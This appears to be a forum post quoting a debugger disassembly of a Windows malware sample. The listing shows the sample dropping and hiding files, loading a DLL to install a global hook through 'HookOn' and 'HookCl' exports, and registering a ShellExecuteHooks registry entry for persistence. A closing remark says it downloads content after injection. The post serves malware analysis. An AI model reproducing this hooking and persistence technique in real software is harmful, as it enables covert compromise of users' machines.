- 0040478B |. 50 PUSH EAX ; |String1
- 0040478C |. E8 A7F2FFFF CALL ; \lstrcmpiA
- 00404791 |. 85C0 TEST EAX,EAX
- 00404793 |. 74 5D JE SHORT eeee.004047F2
- 00404795 |. 8B0D D0514000 MOV ECX,DWORD PTR DS:[4051D0] ; eeee.004050AC
- 0040479B |. 8B09 MOV ECX,DWORD PTR DS:[ECX]
- 0040479D |. A1 D0514000 MOV EAX,DWORD PTR DS:[4051D0]
- 004047A2 |. 8B15 BC514000 MOV EDX,DWORD PTR DS:[4051BC]
- 004047A8 |. E8 47E9FFFF CALL eeee.004030F4
- 004047AD |. A1 D0514000 MOV EAX,DWORD PTR DS:[4051D0]
- 004047B2 |. 8B00 MOV EAX,DWORD PTR DS:[EAX]
- 004047B4 |. E8 53EAFFFF CALL eeee.0040320C
- 004047B9 |. 50 PUSH EAX ; /FileName
- 004047BA |. E8 D1F1FFFF CALL ; \DeleteFileA
- 004047BF |. 6A 00 PUSH 0
- 004047C1 |. A1 D0514000 MOV EAX,DWORD PTR DS:[4051D0]
- 004047C6 |. 8B00 MOV EAX,DWORD PTR DS:[EAX]
- 004047C8 |. E8 3FEAFFFF CALL eeee.0040320C
- 004047CD |. 50 PUSH EAX
- 004047CE |. A1 C8514000 MOV EAX,DWORD PTR DS:[4051C8]
- 004047D3 |. E8 34EAFFFF CALL eeee.0040320C
- 004047D8 |. 50 PUSH EAX ; |ExistingFileName
- 004047D9 |. E8 A2F1FFFF CALL ; \CopyFileA
- 004047DE |. 6A 06 PUSH 6
- 004047E0 |. A1 D0514000 MOV EAX,DWORD PTR DS:[4051D0]
- 004047E5 |. 8B00 MOV EAX,DWORD PTR DS:[EAX]
- 004047E7 |. E8 20EAFFFF CALL eeee.0040320C
- 004047EC |. 50 PUSH EAX ; |FileName
- 004047ED |. E8 16F2FFFF CALL ; \SetFileAttributesA
- 004047F2 |> B8 C0514000 MOV EAX,eeee.004051C0
- 004047F7 |. B9 BC494000 MOV ECX,eeee.004049BC ; ASCII "System6.ins"
- 004047FC |. 8B15 BC514000 MOV EDX,DWORD PTR DS:[4051BC]
- 00404802 |. E8 EDE8FFFF CALL eeee.004030F4
- 00404807 |. B8 C4514000 MOV EAX,eeee.004051C4
- 0040480C |. B9 D0494000 MOV ECX,eeee.004049D0 ; ASCII "System6.tmp"
- 00404811 |. 8B15 BC514000 MOV EDX,DWORD PTR DS:[4051BC]
- 00404817 |. E8 D8E8FFFF CALL eeee.004030F4
- 0040481C |. A1 C0514000 MOV EAX,DWORD PTR DS:[4051C0]
- 00404821 |. E8 E6E9FFFF CALL eeee.0040320C
- 00404826 |. 50 PUSH EAX ; /Arg1
- 00404827 |. E8 58F9FFFF CALL eeee.00404184 ; \eeee.00404184
- 0040482C |. A1 C0514000 MOV EAX,DWORD PTR DS:[4051C0]
- 00404831 |. E8 D6E9FFFF CALL eeee.0040320C
- 00404836 |. 50 PUSH EAX ; /Path
- 00404837 |. E8 14F4FFFF CALL ; \PathFileExistsA
- 0040483C |. 85C0 TEST EAX,EAX
- 0040483E |. 74 33 JE SHORT eeee.00404873
- 00404840 |. A1 CC514000 MOV EAX,DWORD PTR DS:[4051CC]
- 00404845 |. 50 PUSH EAX
- 00404846 |. A1 C4514000 MOV EAX,DWORD PTR DS:[4051C4]
- 0040484B |. E8 BCE9FFFF CALL eeee.0040320C
- 00404850 |. 8BC8 MOV ECX,EAX ; |
- 00404852 |. BA DC494000 MOV EDX,eeee.004049DC ; |ASCII "DATAINFO"
- 00404857 |. B8 0A000000 MOV EAX,0A ; |
- 0040485C |. E8 3FF4FFFF CALL eeee.00403CA0 ; \eeee.00403CA0
- 00404861 |. 8B15 C4514000 MOV EDX,DWORD PTR DS:[4051C4] ; eeee.0040459C
- 00404867 |. A1 C0514000 MOV EAX,DWORD PTR DS:[4051C0]
- 0040486C |. E8 2BF8FFFF CALL eeee.0040409C
- 00404871 |. EB 21 JMP SHORT eeee.00404894
- 00404873 |> A1 CC514000 MOV EAX,DWORD PTR DS:[4051CC]
- 00404878 |. 50 PUSH EAX
- 00404879 |. A1 C0514000 MOV EAX,DWORD PTR DS:[4051C0]
- 0040487E |. E8 89E9FFFF CALL eeee.0040320C
- 00404883 |. 8BC8 MOV ECX,EAX ; |
- 00404885 |. BA DC494000 MOV EDX,eeee.004049DC ; |ASCII "DATAINFO"
- 0040488A |. B8 0A000000 MOV EAX,0A ; |
- 0040488F |. E8 0CF4FFFF CALL eeee.00403CA0 ; \eeee.00403CA0
- 00404894 |> 68 E8494000 PUSH eeee.004049E8 ; /Title = "bla145a"
- 00404899 |. 68 F0494000 PUSH eeee.004049F0 ; |Class = "ListBox"
- 0040489E |. E8 C5F1FFFF CALL ; \FindWindowA
- 004048A3 |. 50 PUSH EAX ; /hWnd
- 004048A4 |. E8 07F2FFFF CALL ; \IsWindow
- 004048A9 |. 85C0 TEST EAX,EAX
- 004048AB |. 0F85 A4000000 JNZ eeee.00404955
- 004048B1 |. 68 F8494000 PUSH eeee.004049F8 ; /Title = "bg5dx8e"
- 004048B6 |. 68 F0494000 PUSH eeee.004049F0 ; |Class = "ListBox"
- 004048BB |. E8 A8F1FFFF CALL ; \FindWindowA
- 004048C0 |. 50 PUSH EAX ; /hWnd
- 004048C1 |. E8 EAF1FFFF CALL ; \IsWindow
- 004048C6 |. 85C0 TEST EAX,EAX
- 004048C8 |. 0F85 87000000 JNZ eeee.00404955
- 004048CE |. 6A 00 PUSH 0 ; /Arg8 = 00000000
- 004048D0 |. 6A 00 PUSH 0 ; |Arg7 = 00000000
- 004048D2 |. 6A 00 PUSH 0 ; |Arg6 = 00000000
- 004048D4 |. 6A 00 PUSH 0 ; |Arg5 = 00000000
- 004048D6 |. 6A 00 PUSH 0 ; |Arg4 = 00000000
- 004048D8 |. 6A 00 PUSH 0 ; |Arg3 = 00000000
- 004048DA |. A1 50664000 MOV EAX,DWORD PTR DS:[406650] ; |
- 004048DF |. 50 PUSH EAX ; |Arg2 => 00000000
- 004048E0 |. 6A 00 PUSH 0 ; |Arg1 = 00000000
- 004048E2 |. BA F8494000 MOV EDX,eeee.004049F8 ; |ASCII "bg5dx8e"
- 004048E7 |. B8 F0494000 MOV EAX,eeee.004049F0 ; |ASCII "ListBox"
- 004048EC |. 33C9 XOR ECX,ECX ; |
- 004048EE |. E8 49FCFFFF CALL eeee.0040453C ; \eeee.0040453C
- 004048F3 |. A1 C0514000 MOV EAX,DWORD PTR DS:[4051C0]
- 004048F8 |. E8 0FE9FFFF CALL eeee.0040320C
- 004048FD |. 50 PUSH EAX ; /FileName
- 004048FE |. E8 D5F0FFFF CALL ; \LoadLibraryA
- 00404903 |. 8BD8 MOV EBX,EAX
- 00404905 |. 85DB TEST EBX,EBX
- 00404907 |. 74 4C JE SHORT eeee.00404955
- 00404909 |. 68 004A4000 PUSH eeee.00404A00 ; /ProcNameOrOrdinal = "HookCl"
- 0040490E |. 53 PUSH EBX ; |hModule
- 0040490F |. E8 10FCFFFF CALL ; \GetProcAddress
- 00404914 |. 89C7 MOV EDI,EAX
- 00404916 |. 68 084A4000 PUSH eeee.00404A08 ; /ProcNameOrOrdinal = "HookOn"
- 0040491B |. 53 PUSH EBX ; |hModule
- 0040491C |. E8 03FCFFFF CALL ; \GetProcAddress
- 00404921 |. 89C6 MOV ESI,EAX
- 00404923 |. 85F6 TEST ESI,ESI
- 00404925 |. 74 2E JE SHORT eeee.00404955
- 00404927 |. 85FF TEST EDI,EDI
- 00404929 |. 74 2A JE SHORT eeee.00404955
- 0040492B |. FFD6 CALL ESI
- 0040492D |. EB 0A JMP SHORT eeee.00404939
- 0040492F |> 68 98664000 /PUSH eeee.00406698 ; /pMsg = WM_NULL
- 00404934 |. E8 1FF1FFFF |CALL ; \DispatchMessageA
- 00404939 |> 6A 00 PUSH 0 ; /MsgFilterMax = 0
- 0040493B |. 6A 00 |PUSH 0 ; |MsgFilterMin = 0
- 0040493D |. 6A 00 |PUSH 0 ; |hWnd = NULL
- 0040493F |. 68 98664000 |PUSH eeee.00406698 ; |pMsg = eeee.00406698
- 00404944 |. E8 4FF1FFFF |CALL ; \GetMessageA
- 00404949 |. 85C0 |TEST EAX,EAX
- 0040494B |.^ 75 E2 \JNZ SHORT eeee.0040492F
- 0040494D |. FFD7 CALL EDI
- 0040494F |. 53 PUSH EBX ; /hLibModule
- 00404950 |. E8 4BF0FFFF CALL ; \FreeLibrary
- 00404955 |> A1 D4514000 MOV EAX,DWORD PTR DS:[4051D4]
- 0040495A |. 8378 08 00 CMP DWORD PTR DS:[EAX+8],0
- 0040495E |. 74 28 JE SHORT eeee.00404988
- 00404960 |. A1 C0514000 MOV EAX,DWORD PTR DS:[4051C0]
- 00404965 |. E8 A2E8FFFF CALL eeee.0040320C
- 0040496A |. E8 F9F5FFFF CALL eeee.00403F68
- 0040496F |. 68 104A4000 PUSH eeee.00404A10 ; /Arg4 = 00404A10
- 00404974 |. 68 144A4000 PUSH eeee.00404A14 ; |Arg3 = 00404A14 ASCII "{37C3125C-9CB6-4503-8F38-63D80ADEFA07}"
- 00404979 |. 68 3C4A4000 PUSH eeee.00404A3C ; |Arg2 = 00404A3C ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks"
- 0040497E |. 68 02000080 PUSH 80000002 ; |Arg1 = 80000002
- 00404983 |. E8 7CF5FFFF CALL eeee.00403F04 ; \eeee.00403F04
复制代码
主要就是注入后下载东西 |